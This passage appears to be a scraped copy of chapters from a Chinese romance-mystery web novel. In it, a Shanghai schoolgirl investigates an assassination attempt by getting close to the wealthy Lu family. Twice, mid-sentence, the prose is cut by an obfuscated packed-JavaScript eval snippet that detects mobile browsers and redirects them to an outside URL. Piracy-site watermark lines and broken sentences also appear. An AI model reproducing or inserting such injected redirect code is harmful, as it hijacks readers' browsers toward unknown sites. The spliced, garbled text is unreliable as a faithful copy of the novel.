闻亭丽张了张嘴,假如没有那晚陆世澄的事,她绝不会那么快联想到枪声,这一点的确有点可疑,但她已经答应陆家绝不把那晚的事泄漏出去,这会儿自然无法直接言明其中缘故,只好硬着头皮说:“我以前在码头撞见过白龙帮的人械斗,所以能听出是枪响。 厉成英递给闻亭丽一杯水:“不急,你继续说。 “接着,我就看到警察把一个蒙着黑大衣的人抬了出来……我认得邓院长的腕表,担心担架上的人是她老人家,就跟着追到了圣玛丽医院,结果发现邓院长根本没在那儿,再然后,我就赶回慈心了。 “出事的时候,你有没有在街头看到什么可疑的人?又或是看到什么熟面孔? 闻亭丽望向厉成英:“就只看到您在对街。 厉成英非常有耐心:“再 好好想想除了我街上当时还有让你印象深刻的人吗?” 闻亭丽刚要摇头忽然脑中白光一闪不对当时她还看到了一个熟人。 但邝志林怎么看也不像跟这件事有关。 仅仅踟蹰了一秒她就果断答道:“我还看到了南洋鸿业陆家的邝志林先生。他的汽车正好经过那里我看到他坐在后座他也正朝枪声方向看仿佛很惊异的样子。” 陈女士在旁插话:“上次那件事我们就猜与陆家的人有关会不会真是他们派人干的?” 包亚明神色变得复杂起来沉声说:“成英你怎么想?” 从三个人的对话能看出厉成英是这个团体的主心骨。 厉成英沉吟片刻抬头对闻亭丽说:“你既听出是枪响就不怕危险吗为什么不跑得远远的而是掉过头去找邓院长?” “我来不及想那么多。”闻亭丽心中一酸冲口而出“我只知道邓院长那会儿还在礼查饭店我担心她老人家出事——” 她捂住自己的脸 “对我而言邓院长就是我的家人前一阵要不是她老人家不计回报地帮助我们我父亲可能早就已经死了我和妹妹也早被人撵出上海了在我心里再也找不到比她老人家更值得敬重的人当时我满脑子只想着确认她老人家无事。” 陈女士和包亚明哑默低头。厉成英红着眼睛扭头看向窗外一时之间屋子里只能听见闻亭丽的啜泣声三个人都未劝慰闻亭丽只是很体谅地陪着她一起沉浸在难过的情绪里良久厉成英勉强整理好自己的情绪将一块手帕递到闻亭丽手里哑声问:“小闻你想抓住刺杀邓院长的凶手吗?” 闻亭丽顾不上擦眼泪急急抬头:“我当然想!” 三个人互视一眼厉成英思索着说:“关于凶手我们目前有几个比较明确的怀疑对象陆家虽然可能性较小但也不能完全排除考虑到当天你在现场看到过邝志林我们想请你帮忙调查陆家。” 她的语气十分恳切。 闻亭丽一下子懵了:“我?我不行的我没做过这个。” “你先回答我一个问题除了我们三个现在是不是没人知道你跟邓院长有极深的私交?” “是,我不想给她老人家惹麻烦,所以每次去找她都会避人耳目。” 厉成英苦笑:“很好,实不相瞒,我们找你来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻亭丽不安地听着,这些事都是她此前从未听过的,那样危险,却有人舍命去做,偏偏这个人,还是她一向最敬重的邓院长,她仿佛长久窝在某个温暖的礁岛,却因为一场突如其来的海啸,无意间看到了一抹壮烈的风景……闻亭丽感觉到自己的心在颤抖,却又忍不住心生向往。 她迟疑着,鼓起全部勇气问:“你们……为什么会信任我?” 厉成英微笑:“院长她老人家目光如炬,她认可的人,绝不会差。此前她老人家曾不只一次在我们面前提到过你。关键是,今天邓院长出事时,你不顾危险返回礼查饭店,这份决断和勇气,让大家非常感动。 闻亭丽的眼圈再一次红了起 来。包亚明在旁说:“放心,成英和我会全程保护你的行动,一旦在执行任何过程中遇到危险,随时可以退出,一切以你的人身安全为主。” 闻亭丽仍在犯难,厉成英:“不勉强,你好好考虑清楚再答复我们,不论你答应与否,这件事都不会对你造成任何影响,邓院长出事之前一直不计回报地关照你们一家,我们作为她的同伴,同样不希望让你觉得我们是在挟恩相逼。” 她的目光是那样清亮和正直,让闻亭丽心头一松。“我可以去看看邓院长吗?” 包亚明敲了敲手里的烟斗:“那边现在鱼龙混杂,连成英和小陈都不敢前去探望,不过好在大家都知道我是邓毅的老朋友,这样,明日你扮成我的助手,我想办法带你进去。” 闻亭丽忙冲包亚明鞠了一躬,赧然说:“包律师,事发至今我还没为失约的事向您道歉呢。” 包亚明叼着烟斗哼哼鼻子:“倘若你按时赴约,我倒要重新掂量掂量邓毅的眼睛是不是出毛病了!” 第二日一早,各大报纸都刊登了邓院长遇刺的新闻,至于邓院长遇刺的原因,则是众说纷纭。傍晚,闻亭丽按照预先商量好的那样,戴假发穿旗袍,扮成中年妇人的样子,随包亚明一同去探望邓毅。 看到邓院长陷在床单里昏迷不醒的样子,闻亭丽险些没能控制住自己的情绪。 凶徒一共射出两发子弹,其中一发正中邓院长的前胸,导致院长肺部大量出血,另外一发子弹,恰巧射中手腕,凶徒大约是担心邓院长身上备有武器,预先射出一枪让邓院长丧失还击的能力。 出来后,闻亭丽整个人沉浸在巨大的悲恨情绪中,木然走下台阶,目光忽一定,抬头对包亚明说:“我想见厉女士。” 当晚,闻亭丽在一幢破旧的石库门房子再次见到了厉成英。 这一次,她开门见山地说:“我愿意帮忙调查这件事。” 所有的迟疑和惶恐,在亲眼见到邓院长惨状的那一刹那都被粉碎了。她老人家已经命在旦夕,凶手却还逍遥法外!她迫不及待想要帮忙找到刺杀邓院长的凶徒,一刻也等不了! 厉成英有些动容:“你考虑好了?” 闻亭丽毫不迟疑地点了点头。三个人同时松了口气,包亚明从手里的公文包取出一份合同。 “临危受命勇气可嘉。这任务不但极考验人的意志力还会让你时刻面临危险小闻为了鼓励你的义举我私人向你提供一笔一千大洋的补偿金。等你圆满完成任务这笔款子会以曙光律师事务所的名义打到你的户头上” “不我不是为了钱!” 包亚明表情有点复杂:“我知道你不是为了钱但这个任务要承担很大的风险有了这笔钱傍身不管发生什么事你都可以全身而退。” 闻亭丽忽然就明白了包亚明的意图那日在街头她在那样短的时间内判断出是枪声这对包亚明而言始终是个疑点。 他需要做些什么来保护邓院长和自己的这些同伴这份合同名为补偿实则是通过这种方式拿到她参与调查的实证。 有了她亲笔签署的合同包亚明不必担心日后她会将这件事泄漏出去更不担心她会出卖大家因为她跟他们已是利益共同体。 “老包。”厉成英忍不住开腔。 闻亭丽却不容分说接过笔在合同上“唰唰唰”签上自己的名字。 她不怪包亚明用这种方式试探她这件事牵连甚广换她也不会愿意让自己的同伴暴露在危险中况且她是自愿参加这次调查的想当初邓院长动用自己的人脉帮助她的时候不曾考虑过自己会不会因此得罪乔家和白龙帮这次轮到她回报邓院长又岂怎能畏手畏脚。 包亚明稍一怔但他迅即恢复了坦然的神色指导闻亭丽在三份合同签完字将剩下的一份交还给闻亭丽。 “你自己保管一份。”他的态度明显比先前诚挚许多 厉成英默了默:“小闻此次调查的初衷是为了避免更多的伤亡你的个人安全始终凌驾于一切之上有任何问题都请立即中止调查如果你因为这件事受到什么伤害不只我们会愧疚邓院长醒来后也会不安的。” “谢谢厉姐我会加倍小心的时间不等人请你们告诉我接下来该怎么做。” 第二天闻亭丽一进课室就听同窗们在议论前天邓院长遇刺的事不过与昨天刚得到消息时的错愕不同这一次同学们的说法准确不少。 “在礼查饭店好端端喝着咖啡呢突然就被枪击中了。” 第 20 章 扮猪吃老虎 到了陆公馆,前来迎接的还是上回那位中年管事。 “是来领奖的学生吧?请随我来。” 夕阳的照射下,陆公馆透着一种清幽庄重的意趣,沿路走去,道旁的景物好似蒙上了一层暖黄的轻纱帐。路过上回那块青翠的大草坪时,闻亭丽下意识停步,草坪上依旧有一群悠闲漫步的雪白鸽子,却不见陆世澄像上回那样在那儿喂食。 管事将闻亭丽领到小客厅,落座后,对她说:“陆小先生稍后就到。” 奉完茶,小花厅只剩下闻亭丽一个人。 闻亭丽先还目不斜视坐着,一俟陆家下人走远,便转动脑袋飞快打量屋里的陈设,珠灰色的墙壁,别致的樱桃木家具,窗前的水晶花瓶里插着大簇的珍珠兰和郁金香。 这地方应该是陆家人日常起居之处,桌上摆着果盘、水瓶、茶盏等物,除此之外,茶几上还搁着一叠报纸, 报纸是今天的日期,第一版恰巧是邓院长出事的报道,假如这件事是陆家派人做的,陆世澄想必会格外关注此类新闻,但报纸平平整整,完全看不出曾经被人翻看过的痕迹。 她又将目光投向屋角的小书桌,上回陆世澄就是坐在那里替黄远山写了一封推荐信。但此刻那张书桌上只放着两本外文书籍,并无文书之类的物事。 也对,谁会将要紧之物放在待客之所呢,厉成英也曾叮嘱过她,线索往往出现在意想不到的地方,她正打算装出看落地窗外风景的样子去别处转转,忽听走道里传来脚步声。 这次是两个人。 闻亭丽丽胸口一紧,忙从书袋里取出事先准备好的消炎片倒了两粒在手掌中。 等到陆世澄和管家进来时,闻亭丽左手捧药右手端茶,刚巧露出一副举棋不定的姿态。 管事边走边小声汇报着什么,陆世澄漫不经心地听着,进屋后,陆世澄停步冲闻亭丽礼貌地点点头,从他的眼神来看,一时难以判断他对她是否有印象。 闻亭丽佯装无措把手里的药丸和茶盏放下,笑着起身说:“陆小先生好。” 陆世澄诧异地望一眼闻亭丽手里的药丸,管事也有些纳闷:“闻小姐这是?” 闻亭丽赧然说:“医生叮嘱每天六点半需按时服用消炎药,我不知颁奖礼大约要持续多久,就想趁陆小 先生来之前把药先吃了,但是我不确定茶水会不会冲淡西药的药性。” “原来如此,我马上去给闻小姐小姐换杯凉开水。” “麻烦您了。”她悄悄用余光瞄了瞄陆世澄,大约是被药片唤起了回忆,他在对面不动声色端详着她。 闻亭丽索性正面迎向陆世澄的目光,抬眸望他一眼,又飞快垂下长长的睫毛,不好意思地笑起来:“陆小先生,我们又见面了。” 陆世澄左手插在裤兜里,做了个手势示意她坐,等闻亭丽坐下后,他立在那指了指自己的左胳膊,目光带着几分关切的意味。 “好多了。”闻亭丽笑道,“吃药不过是怕又发烧,那天晚上哭成那样,倒叫陆小先生见笑了。” 她的笑容甜得像含着花蜜的花瓣,换作旁人,受这笑容感染,表情也会变得柔和几分,但陆世澄只是微微一笑,俯身从茶几上拿起一杯水,自顾自喝了口,安安静静坐到对面的沙发上。 空气出现了短暂的凝固。 闻亭丽有点泄气,但她并不急着找话,陆世澄不动,她便也规规矩矩坐在那里。 好在陆世澄身上有一种微妙的平和感,即使不开腔也不会让人觉得局促。 闻亭丽因为垂眼端坐,一时只能瞥见对面陆世澄的裤腿,这个人连鞋子都是纤尘不染,可见其对细节有多注重,假如刺杀案是陆世澄派人做的,她丝毫不奇怪厉成英他们至今找不到有关凶徒的线索。 没多久,管事用银盘端着一个大玻璃瓶和玻璃杯进来了。 “刚才是我疏忽了,还请闻小姐慢用。” 闻亭丽起身再三道谢,坐下后,拿起水杯服药。 陆世澄在一旁耐心等待,看着闻亭丽吃完药片,这才起身,亲自领着她去书房。 闻亭丽已经盘算好在书房怎样跟陆世澄找话头、以及如何观察四周了,岂料那位管事也跟着进来了。 闻亭丽只得又把话咽回去,目光也只敢暂且盯住自己眼前这一块。 陆世澄径直走到书桌后,从自己上衣口袋里取出笔,坐下后唰唰唰签了一张支票。 老管事走到一旁的壁橱前,打开柜门,取出一枚红丝绒小盒子放到陆世澄面前,对着闻亭丽庄严地开了腔:“陆老先生素来重视教育和实业,设此奖的 初衷,正是为了鼓励务实的学生发奋图强……还望闻同学珍惜自身才华,以报效祖国为志,孜孜矻矻,内外兼修……” 一口气说了十来句,全是鼓励劝学的话。 闻亭丽欠了欠身,陆世澄等到老管事说完,便将盒子和支票一起颁发给闻亭丽。 整个流程有点公式化,但陆世澄的表情看不出半点敷衍。 闻亭丽慎重接过,红丝绒盒子里包裹着一枚金灿灿的“育英奖”奖章。 上面赫然刻着六个字:【育英才,兴吾邦】。 底下是陆鸿隽的亲笔签名。 闻亭丽抬眸望了望陆世澄,陆世澄静静注视着那枚奖章。 从他认真的眼神中,她隐隐感觉到,陆家上下都异常重视务实的人才培养,她心里其实也很激动,下意识搂紧怀里的奖章,昂起头高兴致谢:“学生会谨记陆老先生的教诲。也谢谢陆小先生亲自为我颁奖。” 陆世澄眼波一漾,管事看在眼里,忙笑着说:“往年学生过来领奖时多少有点拘谨,像闻同学这样活泼的学生我们也是头一回见。” 闻亭丽讪讪,陆世澄向她点点头,仿佛在说“无妨”,又对她做了个请的姿势,看样子打算亲自将她送出去。 老管事立即跟上两人的步伐,可就在这时候,花厅里的电话突然响了,老管事快步出去接电话。 闻亭丽瞅准机会转过身,仰起头对着身后的陆世澄说:“领奖的时候太紧张,倒忘了还有一件顶要紧的事要跟陆小先生说了,咦,是什么事来着,让我想一想。” 一面说,一面扶住额头装出思索的样子,趁这机会,视线滴溜溜在书房里转了一圈。 可恶,她离书桌有点远,何况中间还隔着一位身形高挑的陆世澄。 再抬眸,就发现陆世澄垂眸意味深长地望着她,她忙说:“我想起来了,上次陆先生令人赔我的那批洋装我穿有些大,怕浪费,所以我把衣服拿回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149143|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校来了,能不能请陆先生令人将衣服退回给百货商店。” 陆世澄有一阵没反应,仿佛在思考闻亭丽这话是什么意思。 真是贵人多忘事!闻亭丽指了指自己的胳膊:“上回我的衣服被……被……被剧院的布景板擦破了,邝先生赔了我一堆昂贵的洋装。我既穿不下,白白放在家里落 灰未免太可惜,陆先生还是帮我退回吧,我只试了其中一件,不妨碍商店继续售卖的。 陆世澄这回有动作了,但他只是抬起手腕看了看时间。 闻亭丽脸更热了,她还是头一次在陆世澄脸上看到这种敷衍的神态,他像是觉得这点小事不值得同他说,又或者,对他而言,凡是送出去的东西,从来没有收回来的道理,所以直接不作任何回应。 气氛变得有点微妙,不过她要是就此打住,她就不是闻亭丽了。 眼珠一转,她紧接着从书袋里取出两张票。 “如果陆先生坚持不肯帮我退,那我只能送您回一份礼了。下礼拜在黄金剧院有几场酬宾节目,这是头等包厢票,仅有的两张,剧院的兆经理看在我冠军身份的面子上才给我的,这是我目前能拿得出的最像样的回礼了,不知到时候您和邝先生……肯不肯赏光? 她的目光是那样澄净,语气是那样真挚,这样眼巴巴望着人,再硬的心肠都会化成一滩水。 陆世澄稍稍一怔,视线落到她手中的门票上,露出若有所思的样子,闻亭丽的心悄悄提到了嗓子眼儿,陆世澄冲她点点头,似在表示谢意,但他最终也没有接那没票,指指外头,继续领着她向外走去。 借着这机会,闻亭丽迅速扭身对着书桌扫视一遍,这才不紧不慢追上陆世澄,试探着说:“那您是答应帮我退衣裳了对么? 陆世澄再一次歉然指指自己的腕表,意思是他还有别的事要忙,随后他转头看看周围,眼见老管事仍在打电话,便打算找别的下人送闻亭丽出大门。 闻亭丽垂头丧气望着脚下的台阶,很显然,陆世澄压根不吃她那一套,好在他虽二话不说拒绝了她,他的态度却也不使人难堪。 怪她,为了邓院长的事有点太心急了,看陆世澄这样子,日后怕是没机会再跟他见面了。 幸而她刚才趁乱把书桌上的东西看了个仔细,她看见桌上有张“报关单,也许只是无关紧要的东西,但至少不算毫无收获。 陆公馆的下人大约都在用晚饭,陆世澄张望一阵,始终没能看到附近有人路过,回头看了看花厅里忙着接电话的管事,又看看墙上的时间,略一迟疑,率先向台阶下走去。 闻亭丽沮丧地抬头看,蓦然发现陆世澄还在底下等她。 她虽有些摸不着头脑,却立刻决定跟上去。 陆世澄领着她沿着花丛转了个弯,又踏上一条栽满红叶李的林荫道,两个人一前一后向前走,没走多远,前面出现一个大车房,大门开着,里面停着几辆汽车,陆世澄走到一辆车前掏出钥匙打开车门,回头冲闻亭丽颔首,示意她上车。 闻亭丽这才明白陆世澄这是打算亲自送她出去,她心中一喜,假装矜持走上前:“谢谢陆小先生。 陆世澄等她上了车,一脚发动油箱,驱车朝花园外驶去。 作者有话要说 本章有红包~ 第 21 章 跟我来。 车厢比起花厅,自是局促不少。 在这狭小的空间里,闻亭丽连头发丝儿都变得老实了。 她能听到陆世澄的每一次呼吸,那轻缓的声息,在极短的距离内被无限放大。 空气里仿佛流淌着一种看不见的发黏液体,把闻亭丽身上那些活泼的小关节紧紧黏住了。 她不大敢动。 但她脑子可一刻没停。 这次她算是败北而归了,但她总得为下一次接近陆家制造机会。 可惜她已是黔驴技穷,这样短的时间内又能想出什么好法子。还好脑子转动时不会发出“咔哒咔哒”的声音,不然陆世澄准会被闻亭丽脑子里的声音吵得没法专心开车。 车厢里虽然没点灯,陆公馆的路灯却迎面一盏盏亮起来,昏黄的光影擦着车身飞快流过,视野也跟着忽明忽灭。突然眼角有什么东西极亮地一闪,闻亭丽目光溜过去,原来是陆世澄的袖扣,那东西小如银球,被路灯照得灿烁无比。 闻亭丽心里顿时有了主意。 她轻轻咳嗽一声,接着又是第二声,像是被晚风呛着了。 陆世澄在镜子里望了望闻亭丽。 闻亭丽歉声说“抱歉”,一边继续咳嗽,一边低头在书袋里找手帕,她知道自己的咳嗽和哭泣都是绝技,任谁都听不出是装的。 找了一回没找到,闻亭丽不得不把自己的书袋抬高一点,以便继续对着路灯找,结果一个“失手”,书袋碰巧跌落到两个人的脚边。 闻亭丽忙俯身去找,陆世澄一记刹车把车停住,恰在此时手帕找到了,闻亭丽用手帕捂住自己的嘴,将书袋捡起来放在自己膝盖上,接下来只异常安静地端坐着,仿佛已经努力屏住了咳嗽, 陆世澄等了几秒,看她不再找东西了,这才重新发车一径开到公馆门口。 门房过来帮忙开门。闻亭丽说:“谢谢陆小先生。” 下车之后又鞠了一躬,未作停留,转身就出了陆公馆。 刚出去,就听到门内油门响,陆世澄果然很赶时间,微微向她点点头,转动方向盘沿着原路开回去了。 一刻也没多停留。 闻亭丽仿佛被定住了似的,就那样望着路灯下自己的影子,半晌才耸耸肩,沿着相反的方向回学校坐电车 。 回到慈心医院,闻亭丽并不急着进去,而是先到一间公用电话亭给厉成英打电话。 电话响了好几声才接通,等候的间隙,闻亭丽黯然望着对面的慈心医院大门,往常这个时候,邓院长要么在四楼办公,要么在病房里查房,现在却…… 厉成英接起电话。 闻亭丽握紧话筒小声说:“我刚从陆公馆出来……嗯,是一张报关单,负责报关的洋行名字是‘敦普儿’货栈……其他的我没看见。 第一次做这种事,她不知不觉紧张得出了一点汗,回到病房,她把那枚金光灿灿的奖章给小桃子瞧, 小桃子用胖胖的手指头挨个指点奖章上的字,嘴里咿咿呀呀。 闻亭丽听得直发笑,捉住妹妹的手教她:“傻小桃子,这个字念育yu。 周嫂表现得比上回闻亭丽得话剧大赛冠军还要高兴:“先生您看这奖牌,这可是学校发的,要不是读书顶用功,也得不了这头一等的奖,不枉这孩子每天温书到深夜。 当晚闻亭丽跟周嫂换了个班,周嫂在医院跟陪护照看闻德生,闻亭丽则带着小桃子回新租的房子里住。 姐妹俩梳洗完,闻亭丽找出个小球让小桃子抱着玩,自己坐在灯下给每一件贴身小衣的内里仔仔细细缝上小口袋。 口袋刚好能放下那张支票和银票卷成的小卷筒,外表上几乎看不出来,缝好后,闻亭丽对着这堆票子满足地叹口气,加上新得的这张支票,现在她有整整三千大洋的家当了。 她指着陆世澄签的数字给小桃子看:“认得么,这是八百大洋,姐姐赢回来的,棒不棒? 小桃子高高举起手里的球:“姐,棒。嗓门又清又响,就像嘴里藏着一只小哨子。 “嘘,嘘。闻亭丽吓得忙用食指放在嘴唇上,乔太太租的这房子又破又挤,门板尤其薄,夜晚邻居咳嗽一声这边都能听得清清楚楚,正因为这个,闻亭丽才不放心把钱放在家里。 把钱藏妥之后,闻亭丽探手从书包的内侧口袋里摸出一小包东西,这是母亲留下来的遗物,自上回搬家她就将这包东西收在书袋里随身带着。 打开看,里面是零星几件首饰,小小的翡翠耳坠、金戒指、金镯子…… 小桃子学着姐姐的样子摸摸这 、摸摸那,嘴里叽里咕噜数着数,当发现只有四件首饰时,小桃子的表情变得有些茫然。 “是不是想问姆妈的项链哪儿去了?闻亭丽小声在小桃子胖鼓鼓的腮边问。 小桃子一拍手:“项链呢? 那块金刚石虽说只有小指甲盖大小,却是母亲生前最昂贵的首饰,金刚石下面还定做了一个桃心项坠,里面嵌有母亲的一张小相。闻亭丽每回思念母亲的时候就会趴在床上看项链里的照片,所以小桃子对那条项链印象最深。 “别担心,它很快就会回来的。闻亭丽神秘兮兮在小桃子额头上点了点,打着呵欠歪到床上翻了个身,摊开双臂对着天花板充满信心地说。 次日上学,闻亭丽胸有成竹等消息。 结果失算了,并没有任何陆家人过来找她。 第三天依旧如此。 闻亭丽有点沉不住气了,正所谓兵行险招,她要不将项链故意遗落在陆世澄车上,如何有机会再跟陆世澄搭上话,可是那天晚上那样黑,万一项链从座位上滚到某个旮旯角,陆世澄发现不了也不奇怪。 闻亭丽越想越觉得肉痛,正当她琢磨要不要主动上陆公馆讨要时,有人过来找她了。 傍晚放学出来,闻亭丽照常去挤电车,忽见对面马路有个人冲自己招手。 “邝先生? 邝志林立在车边,含笑看着闻亭丽走近自己。 “闻小姐别来无恙? “托您的福,一切都好。您这是……路过这儿? “下午务实有个董事会要开,我替陆小先生过来一趟,对了闻小姐——邝志林笑容不变,目光却一下锐利起来,“你最近可丢了什么东西? 闻亭丽一诧,下意识摸向自己的前颈:“咦,您怎么晓得的? 邝志林不动神色望着闻亭丽,凭他怎么看,闻亭丽脸上的诧异之色都毫无破绽。 闻亭丽暗中早已拿出了平日在舞台上十二分的演技和精力与其对抗。 就这样对峙了一阵,邝志林突然微笑道:“敢问闻小姐丢了什么东西? 闻亭丽恍然大悟:“难不成那天晚上落在陆公馆了?是一条项链,里头有我母亲的照片,是不是被您在陆公馆捡到了。 邝志林从西装口袋 里取出一个红丝绒小包。 “瞧瞧是这根么?” “呀,真落在陆公馆了!”闻亭丽又惊又喜,“劳烦邝先生专门跑一趟。” “不碍事。”邝志林的笑容无懈可击,“我只是有点纳闷这条项链怎会跑到陆小先生的车上去了,据听说,那晚闻小姐明明是去领奖的。” 闻亭丽的背上悄然冒出一层冷汗,脸上却丝毫不露:“噢,我坐陆小先生的车出来的,我当时在车上找手帕来着,许是不小心把东西从书包里带出来了。” 当着邝志林的面,她无限珍重地吻了吻那条项链,这份失而复得的狂喜,绝对发自肺腑。 邝志林好一阵没吱声,闻亭丽知道他在审视她,但越是邝志林这样的人精,越能够想明白一个道理,假如她有心找借口接近陆世澄,早在上次受枪伤时就会赖上来。 那可是千载难逢的机会。 可是上次她什么也没有做。 无论是住院期间,抑或是出院后,不管是在邝先生跟前,还是在那位陪护面前,她都从未打听过陆世澄的事,即便过后辗转借用了邝先生的力量,也是因为差点被米歇尔开除不得不如此。 这其中的种种,邝志林想必也十分清楚。 为了进一步打消邝志林的疑心,她干脆又道:“这是我母亲的遗物,平日我总是把它们放在书包里随身携带的。” “把首饰放在书包里?” 闻亭丽从书包里取出一个小绒袋,当着邝志林的面把项链收进去。 邝志林眼底的狐疑顿时被惊讶所取代, “我父亲还在住院,我不放心把这些贵重物品放在租的房子里。”闻亭丽尽可能说得轻描淡写。 说的域名caixs.com▇(请来才小 说 看最新章节 完整章节) 邝志林表情稍松,口吻却依旧很公式化。 “难为闻小姐如此懂事,不过下次可要加倍当心了。” “真要谢谢您。”她趁势从口袋里掏出上回的戏票,“礼拜天晚上黄金剧院要搞一场开业周年庆典,请了黄金影业的大明星段妙卿、沈莺莺上台表演现在外头许多人想抢门票,我也是好不容易才弄到了两张头等包厢票,这两张票送给您。” “多谢闻小姐的美意,不过不必了。” 闻亭丽难掩失望之色:“上回我代表务实女子中学荣获冠军,所以剧院 也为我安排了一场演出,不巧米歇尔副校长要去杭州,所以当晚没空莅临,倘若邝先生能和某位校董能来捧场,学生会感到万分荣幸的。 大约是话里的“务实学生代表打动了邝志林,这次邝志林思索了一下:“实在是不凑巧,这礼拜六我得帮忙筹备一次拍卖义演,为这事,邝某整个周末都有许多事要忙,这样吧,我跟其他校董说一说,届时一定派代表前去观看闻小姐的演出如何? 说的域名caixs▼(请来才小 说 看最新章节 完整章节) 说完这话,邝志林自顾自笑着点点头上了车。 闻亭丽擦了擦头上的汗,到电话亭给厉成英打电话,电话却一直打不通,又给曙光律师事务所打过去。 “包律师。闻亭丽开门见山,“您查一下礼拜六晚上上海什么地方有拍卖义演。 两分钟后,包亚明的声音再次从电话那头传来:“南洋工商联盟上海分会为筹备物资搞了一场小型晚会,地址在金神父路花园坊,听说邀请了不少达官丽姝,陆家是南洋工商联盟会主席,想必是这次晚会的主办人之一,怎么,陆世澄那边有动静了? 闻亭丽唔了一声:“当晚陆世澄和邝志林都会露面,我们这边要不要早些做准备? “礼拜六我还有别的事要忙。包亚明沉吟,“这样吧,我打听打听当晚都邀请了哪些宾客,假如有文艺界的人士参加,我想办法帮你弄一张入场券如何? “恐怕不行……这等义卖晚会通常不会邀请一个穷学生入场,倘若由您强行帮忙弄票子,只会暴露我跟曙光律师事务所关系匪浅,不如这样,我那份拍戏的合同您应该已经看完了,明天我就拿着合同去找黄经理,趁这机会向黄经理讨一张入场券。 “也好。包亚明说,“只是有一桩,拍卖义演往往要求宾客带些值钱的东西做现场献捐,去之前,我让人给你准备一些合乎你学生身份的拍卖物件。当晚我会派人在门外接应你,如有不妥会立即保护你撤离。 闻亭丽却说:“这个您不用费心,我有现成的东西要拍卖。 挂完电话,闻亭丽又借着谈合同的事约黄远山见面。 两通电话打下来,闻亭丽几乎要再次掏出帕子抹汗,她跟陆世澄几乎是两个世界的人,想寻机会接近对方,实在是太费力了。 礼拜六下午,本是温书的大好 时光闻亭丽却忍痛舍出两个钟头用来梳妆打扮把衣柜里的衣服试了个遍挑一件嫩黄色法国绸连身裙穿上了这是她最贵的一条裙子当初父亲用洋服店的进口面料替她做的这种衣服平日穿太隆重参加晚会却正合适。 换好衣服她对着镜子将一头丰厚的鬈发梳起来。 一半系在头顶用象牙白绢制的大蝴蝶结夹住剩下的一半头发则披在肩上装扮完之后活脱脱像是一束幽艳的嫩黄色郁金香。 穿成这样自是不方便再挤三等电车她提前给祥生车行招了一辆车到了花园坊老远就看见前头的公馆灯光如昼门前迎来送往聚满了前来赴宴的公子和丽人柔丝般的音乐从花园里流淌出来 闻亭丽在车里调整一番呼吸款款推门下车刚在大门外立定就听到身后有人唤道:“闻亭丽。” 回头看竟是乔宝心。乔宝心惊喜地走近握住闻亭丽的手:“你怎么也在这?对了上次的事究竟怎么弄的米歇尔都好长时间不来我们家了。” “一时半会也说不明白 乔宝心长吁一口气:“那就好只要米歇尔不陪我妈胡闹我妈不能拿你怎么样的。” 表情一松快她开始握着闻亭丽的手一个劲打量:“这裙子真好看不对你闻亭丽就算穿条破布都好看。” 她指指那头:“我跟我小表舅一起来的他在那边同人说话叫我在这等他。” 闻亭丽一默小声说:“我先去一趟盥洗室回头再找你。”< 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乔宝心只好过去打招呼。闻亭丽自己捧着东西走到登记处把要拍卖的东西登记在册,办事员望着她手里的大盒子笑吟吟问:“不知道闻小姐要拍卖何物? “上面这一盒我是代人捐赠的,捐赠人一栏请务必写上陆世澄先生的名字,底下这一盒才是我自己的捐赠物。 两名南洋办事员微讶互望一眼,像是有点猜不透她陆世澄是什么关系。闻亭丽坦然以对,做好登记,自顾自到花园里透气。 放眼望去,四周全是陌生面孔,她擅长与人交际,却也享受这种偶尔在人群边缘游走的自在感觉,左边转转,右边走走,遇到某个陌生人投来的善意眼神,也不忘含笑回应。 无论闻亭丽走到哪里,身后总黏着几道好奇的目光,这女孩未语先笑,面孔和身段都漂亮得让人挪不开眼,一旦笑起来,笑容仿佛能甜到人心坎里,花园里一帮年轻公子蠢蠢欲动,只因拿不准闻亭丽的来历,才不敢贸然上去搭讪。 天气热,没转几圈就出了一层汗,闻亭丽到酒水桌上拿起一杯冰橘子水低头酌着,忽听司仪在里头昂声说:“陆世澄先生捐赠十套夏奈尔女士洋装,请大家准备竞价。 人们露出惊讶又好笑的表情,纷纷交头接耳:“陆小先生?捐赠女士洋装? “会不会是搞错了,前头不是才说陆家直接捐赠五十万现洋吗? 紧接着,里头又念起下一位捐赠者的名字:“闻亭丽小姐捐赠全新德国宝纳华相机一台。 宝纳华是现在世界上最先进的摄影机,放在洋行里差不多能卖两千大洋,这数字在今晚一众捐赠品里自是毫不起眼,但年轻人拿此物做捐赠,既体面十足,又不过于奢僭。 闻亭丽平静接受四面八方投来的目光,这是她上回话剧得大赛冠军的战利品,她早有心直接拿相机去换钱,又担心电影协会那帮老学究知道了说她小小年纪一身 铜臭味逢上这样的好机会不如捐出去筹一笔善款。 两厢一对比越发显得陆世澄那“十套女士洋装”有点滑稽。 接下来不管走到哪个角落闻亭丽总能听到有人谑笑着议论这件事:“陆家那位小公子不是至今没订过婚事吗那他那么多女士洋装究竟打哪儿来的?该不会是他平时自己收集着玩的吧?” 调侃归调侃陆世澄捐赠的洋装却空前受欢迎 经过一番激烈的角逐十套洋装最后分别被珠宝大王千金余振华以及来自天津的名门淑媛袁小姐以高价拍走。 拍卖的过程中陆世澄作为南洋工商联盟的大东家全程坐在底下。 闻亭丽站在后头一时看不见陆世澄是什么表情不过背影上来看他表面上还算冷静。 签支票的时候余振华和袁小姐满面春风提出了一个要求:她们要与这批女装的捐赠人陆世澄合个影。 这回陆世澄没那么配合了坐在那儿迟迟未动。 南洋工商联盟的几位理事对陆世澄动之以情晓之以理好不容易才把他请到台上去。 十套洋装拍出这样高昂的价钱这是第一喜。作为此次拍卖会的承办方能受到现场嘉宾的鼎力支持这是第二喜。双喜临门陆世澄实在没理由不配合。 拍摄地点定在拍卖台。 